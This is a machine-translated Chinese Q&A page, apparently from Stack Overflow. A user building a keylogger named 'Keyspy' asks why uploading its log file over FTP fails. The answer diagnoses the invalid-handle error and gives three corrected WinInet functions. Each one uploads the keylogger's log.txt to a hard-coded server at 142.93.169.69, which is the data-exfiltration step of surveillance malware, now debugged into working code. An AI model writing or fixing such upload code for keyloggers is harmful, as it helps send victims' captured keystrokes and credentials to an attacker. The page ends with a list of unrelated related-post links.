GetLastError()从FtpPutFile()返回错误6
GetLastError() returns error 6 from FtpPutFile()
我正在为一个项目开发一个键盘记录程序。当尝试使用FTP将日志上载到服务器时,GetLastError()
为FtpPutFile()
返回6。我没有找到解决办法。我找到的一个解决方案是hint
无效,但我替换了0或NULL,仍然得到相同的错误。
#pragma comment(lib, "Wininet.lib")
#include <Windows.h>
#include <iostream>
#include <WinInet.h>
#include <tchar.h>
using namespace std;
int upload()
{
string file = "C:\Users\crypterdev\Documents\Visual Studio 2015\Projects\Keyspy\Release\log.txt";
string site = "142.93.169.69";
string user = "user";
string pass = "pass";
if (!ifstream(file))
{
cout << "no filen";
return 0;
}
HINTERNET hint = InternetOpen(0, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL,INTERNET_FLAG_ASYNC);
HINTERNET hftp = InternetConnect(hint, (LPCWSTR)site.c_str(), INTERNET_DEFAULT_FTP_PORT,
(LPCWSTR) user.c_str(), (LPCWSTR)pass.c_str(), INTERNET_SERVICE_FTP, 0, 0);
if (!FtpPutFile(hftp, (LPCWSTR)file.c_str(), (LPCWSTR)"log.txt", FTP_TRANSFER_TYPE_BINARY, 0))
{
//cout << "FAIL!" << endl;
cout << GetLastError() << endl;
}
else
{
cout << "file sended !";
}
InternetCloseHandle(hftp);
InternetCloseHandle(hint);
return 0;
}
错误6为ERROR_INVALID_HANDLE
。在调用FtpPutFile()
之前,您没有检查InternetOpen()
和InternetConnect()
的返回值是否存在故障。
事实上,您正在向FtpPutFile()
传递一个无效句柄,因为它们实际上是失败的,因为您的所有LPCWSTR
类型转换都是错误的。您不能只将char*
指针类型转换为wchar_t*
并期望一切正常。删除类型转换并观察编译器,然后向您投诉。这是有原因的。
您需要使用MultiByteToWideChar()
(或等效工具(来实际将char
数据转换为wchar_t
,例如:
#include <Windows.h>
#include <WinInet.h>
#include <iostream>
#include <string>
#include <vector>
using namespace std;
#pragma comment(lib, "Wininet.lib")
wstring to_wstring(const string &s)
{
int len = MultiByteToWideChar(CP_ACP, 0, s.c_str(), s.size(), NULL, 0);
if (len > 0)
{
vector<WCHAR> vec(len);
MultiByteToWideChar(CP_ACP, 0, s.c_str(), s.size(), &vec[0], len);
return wstring(&vec[0], len);
}
return wstring();
}
bool upload()
{
string file = "C:\Users\crypterdev\Documents\Visual Studio 2015\Projects\Keyspy\Release\log.txt";
string site = "142.93.169.69";
string user = "user";
string pass = "pass";
if (!ifstream(file))
{
cout << "no file" << endl;
return false;
}
HINTERNET hint = InternetOpenW(0, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, INTERNET_FLAG_ASYNC);
if (!hint)
{
cout << "InternetOpen failed! Error " << GetLastError() << endl;
return false;
}
HINTERNET hftp = InternetConnectW(hint, to_wstring(site).c_str(), INTERNET_DEFAULT_FTP_PORT, to_wstring(user).c_str(), to_wstring(pass).c_str(), INTERNET_SERVICE_FTP, 0, 0);
if (!hftp)
{
cout << "InternetConnect failed! Error " << GetLastError() << endl;
InternetCloseHandle(hint);
return false;
}
if (!FtpPutFileW(hftp, to_wstring(file).c_str(), L"log.txt", FTP_TRANSFER_TYPE_BINARY, 0))
{
cout << "FtpPutFile failed! Error " << GetLastError() << endl;
InternetCloseHandle(hftp);
InternetCloseHandle(hint);
return false;
}
cout << "file sent!" << endl;
InternetCloseHandle(hftp);
InternetCloseHandle(hint);
return true;
}
或者,简单地使用std::wstring
开始,而不是完全使用std::string
:
#include <Windows.h>
#include <WinInet.h>
#include <iostream>
#include <string>
using namespace std;
#pragma comment(lib, "Wininet.lib")
bool upload()
{
wstring file = L"C:\Users\crypterdev\Documents\Visual Studio 2015\Projects\Keyspy\Release\log.txt";
wstring site = L"142.93.169.69";
wstring user = L"user";
wstring pass = L"pass";
if (!wifstream(file))
{
cout << "no file" << endl;
return 0;
}
HINTERNET hint = InternetOpenW(0, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL,INTERNET_FLAG_ASYNC);
if (!hint)
{
cout << "InternetOpen failed! Error " << GetLastError() << endl;
return false;
}
HINTERNET hftp = InternetConnectW(hint, site.c_str(), INTERNET_DEFAULT_FTP_PORT, user.c_str(), pass.c_str(), INTERNET_SERVICE_FTP, 0, 0);
if (!hftp)
{
cout << "InternetOpen failed! Error " << GetLastError() << endl;
InternetCloseHandle(hint);
return false;
}
if (!FtpPutFileW(hftp, file.c_str(), L"log.txt", FTP_TRANSFER_TYPE_BINARY, 0))
{
cout << "FtpPutFile failed! Error " << GetLastError() << endl;
InternetCloseHandle(hftp);
InternetCloseHandle(hint);
return false;
}
cout << "file sent!" << endl;
InternetCloseHandle(hftp);
InternetCloseHandle(hint);
return true;
}
否则,如果您想保持原样使用std::string
,那么只需使用WinInet函数的ANSI版本:
#include <Windows.h>
#include <WinInet.h>
#include <iostream>
#include <string>
using namespace std;
#pragma comment(lib, "Wininet.lib")
bool upload()
{
string file = "C:\Users\crypterdev\Documents\Visual Studio 2015\Projects\Keyspy\Release\log.txt";
string site = "142.93.169.69";
string user = "user";
string pass = "pass";
if (!ifstream(file))
{
cout << "no file" << endl;
return 0;
}
HINTERNET hint = InternetOpenA(0, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, INTERNET_FLAG_ASYNC);
if (!hint)
{
cout << "InternetOpen failed! Error " << GetLastError() << endl;
return false;
}
HINTERNET hftp = InternetConnectA(hint, site.c_str(), INTERNET_DEFAULT_FTP_PORT, user.c_str(), pass.c_str(), INTERNET_SERVICE_FTP, 0, 0);
if (!hftp)
{
cout << "InternetOpen failed! Error " << GetLastError() << endl;
InternetCloseHandle(hint);
return false;
}
if (!FtpPutFileA(hftp, file.c_str(), L"log.txt", FTP_TRANSFER_TYPE_BINARY, 0))
{
cout << "FtpPutFile failed! Error " << GetLastError() << endl;
InternetCloseHandle(hftp);
InternetCloseHandle(hint);
return false;
}
cout << "file sent!" << endl;
InternetCloseHandle(hftp);
InternetCloseHandle(hint);
return true;
}
相关文章:
- (C++)分析树以计算返回错误值的简单算术表达式
- 为什么与常规GCC不同,即使有"学究性错误",MinGW-GCC也能容忍丢失的返回类型
- 在没有定义返回类型的函数中返回布尔值,并将结果保存在无错误的char编译中-为什么
- 我不断收到 [错误] ID 返回 1 退出状态错误,但看不到问题所在
- C++中函数的向量返回类型引发错误
- 有人知道为什么在开关中使用stoi函数会返回恒定的错误吗
- glad 导致 glfwSwapBuffers 返回错误消息
- 将错误返回给调用方而不是立即在 C++ 中抛出错误是否是一种好的做法
- QNX Momentics: GoogleMock - 返回有价值,在函数中返回 void 错误
- 我的模板类方法返回错误类型?
- C++ 中的编译错误:未定义对"主"的引用 collect2:错误:ld 返回 1 个退出状态
- 替换WCHAR_T错误返回存储地址
- 错误:void 值未被忽略,因为它应该被忽略,错误:返回语句具有值
- 带有值的递归阶乘错误返回语句,在函数中返回 'void' [-fallowive]
- 存储在静态常量整数 (C++) 中的对数函数的错误返回值
- 更丰富的错误返回消息用于提升::精神::qi 解析
- C++初级逻辑错误-返回0
- 由于进程很多,pthread_create的错误返回代码是 35 错误,我用过pthread_exit应该杀死线程不是吗?
- c++错误处理返回值错误返回
- systememerror:没有异常集的错误返回